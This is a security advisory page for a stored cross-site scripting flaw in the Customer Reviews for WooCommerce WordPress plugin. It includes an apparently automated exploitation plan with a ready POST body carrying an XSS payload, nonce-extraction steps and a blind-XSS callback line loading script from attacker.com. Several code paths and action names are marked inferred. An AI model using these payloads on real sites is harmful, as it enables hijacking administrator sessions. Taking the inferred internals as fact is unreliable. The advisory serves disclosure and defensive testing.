Customer Reviews for WooCommerce <= 5.93.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via displayName Parameter
Description
The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'displayName' parameter in all versions up to, and including, 5.93.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with customer-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. While it is possible to invoke the AJAX action without authentication, the attacker would need to know a valid form ID, which requires them to place an order. This vulnerability can be exploited by unauthenticated attackers if guest checkout is enabled. However, the form ID still needs to be obtained through placing an order.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.93.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14891 ## 1. Vulnerability Summary The **Customer Reviews for WooCommerce** plugin (versions <= 5.93.1) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability resides in the handling of the `displayName` parameter during the review submi…
Show full research plan
Exploitation Research Plan - CVE-2025-14891
1. Vulnerability Summary
The Customer Reviews for WooCommerce plugin (versions <= 5.93.1) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability resides in the handling of the displayName parameter during the review submission process. User-supplied input is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative interface (and potentially frontend product pages) without adequate output escaping.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ivole_post_review(inferred from plugin history and review handling patterns). - Vulnerable Parameter:
displayName - Authentication:
- Authenticated: Subscriber/Customer level can exploit this directly.
- Unauthenticated: Possible if guest checkout/reviews are enabled, but requires a valid
form_id.
- Preconditions: A valid
form_idmust be known. This ID is typically generated when an order is placed and is sent to customers via review reminder emails.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler for review submissions:
add_action( 'wp_ajax_nopriv_ivole_post_review', ... )oradd_action( 'wp_ajax_ivole_post_review', ... ). - Processing: The handler function (likely in
includes/reviews/class-cr-reviews.phporincludes/class-ivole-reviews.php) retrieves thedisplayNameparameter from the$_POSTsuperglobal. - Sink (Storage): The unsanitized
displayNameis passed to a storage function, likelywp_insert_comment()or a custom table insertion, where it is saved as the comment author or in comment meta. - Sink (Output): When an administrator views the "Reviews" page in the WooCommerce or Customer Reviews menu, the plugin fetches the stored
displayNameand echoes it directly into the HTML table without usingesc_html().
4. Nonce Acquisition Strategy
This plugin often relies on the form_id as a session-specific "secret" for guest reviews rather than a standard WordPress nonce for the ivole_post_review action. However, if a nonce is required:
- Identify Shortcode: The plugin uses shortcodes like
[cr_reviews_form]to display review forms. - Create Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Review Test" --post_content='[cr_reviews_form]' - Extract via Browser:
Navigate to the newly created page and usebrowser_evalto extract the localized data.// Inferred localization key based on plugin naming conventions window.cr_ajax_object?.nonce || window.ivole_ajax_object?.nonce - Action String: The nonce is likely created for the action
ivole_post_revieworcr_post_review.
5. Exploitation Strategy
Step 1: Obtain a Form ID
If testing as an unauthenticated user, place a test order on the WooCommerce store to generate a review opportunity. Note the form_id from the URL or database (e.g., wp_options or wp_cr_reminders table).
Step 2: Submit Malicious Review
Use the http_request tool to send a POST request to the AJAX endpoint.
- Method: POST
- URL:
https://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ivole_post_review &form_id=<VALID_FORM_ID> &displayName=<img src=x onerror=alert(document.domain)> &rating=5 &comment=This product is excellent. &email=attacker@example.com
Step 3: Trigger Execution
Navigate to the WordPress Admin dashboard as an administrator:
- URL:
/wp-admin/edit-comments.phpOR/wp-admin/admin.php?page=ivole-reviews
6. Test Data Setup
- Install Plugin: Install Customer Reviews for WooCommerce version 5.93.1.
- Configure WooCommerce: Ensure at least one product is published.
- Enable Reviews: Ensure "Enable reviews" is checked in WooCommerce settings.
- Generate Form ID: Place an order to ensure the system recognizes the session for the
form_id.
7. Expected Results
- The AJAX request should return a JSON success response:
{"code": 1}or similar. - The
displayNamecontaining the payload will be stored in the database. - Upon visiting the reviews management page in the admin dashboard, a JavaScript alert showing the document domain will appear.
8. Verification Steps
After the HTTP request, verify the injection using WP-CLI:
# Check the latest comments for the payload
wp comment list --number=1 --fields=comment_author,comment_content
Check if comment_author contains the <img src=x onerror=alert(document.domain)> string verbatim.
9. Alternative Approaches
- Authenticated Path: If the
form_idis difficult to generate, log in as a Subscriber/Customer and submit a review via the standard product page form using the samedisplayNamepayload. - Parameter Variation: If
displayNameis sanitized, trycustomerNameorauthorNameas these are often used as aliases in different plugin versions. - Blind XSS: Use a callback payload (e.g.,
<script src="https://attacker.com/xss.js"></script>) to confirm execution if an alert is blocked by the environment.
Summary
The Customer Reviews for WooCommerce plugin (<= 5.93.1) is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of the 'displayName' parameter in the 'ivole_post_review' AJAX action. Authenticated subscribers or unauthenticated users with a valid form ID can inject arbitrary scripts that execute when an administrator views the reviews in the backend.
Exploit Outline
1. Identify or generate a valid 'form_id' by placing a product order on the target site (this ID is required to authorize the review submission process). 2. Use an HTTP client to send a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'ivole_post_review'. 3. In the POST body, include the valid 'form_id', a rating, a comment, and the 'displayName' parameter containing an XSS payload such as <img src=x onerror=alert(document.domain)>. 4. The malicious script is stored in the database and will be executed when an administrator navigates to the plugin's reviews management page (typically at /wp-admin/admin.php?page=ivole-reviews) or the standard WordPress comments interface.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.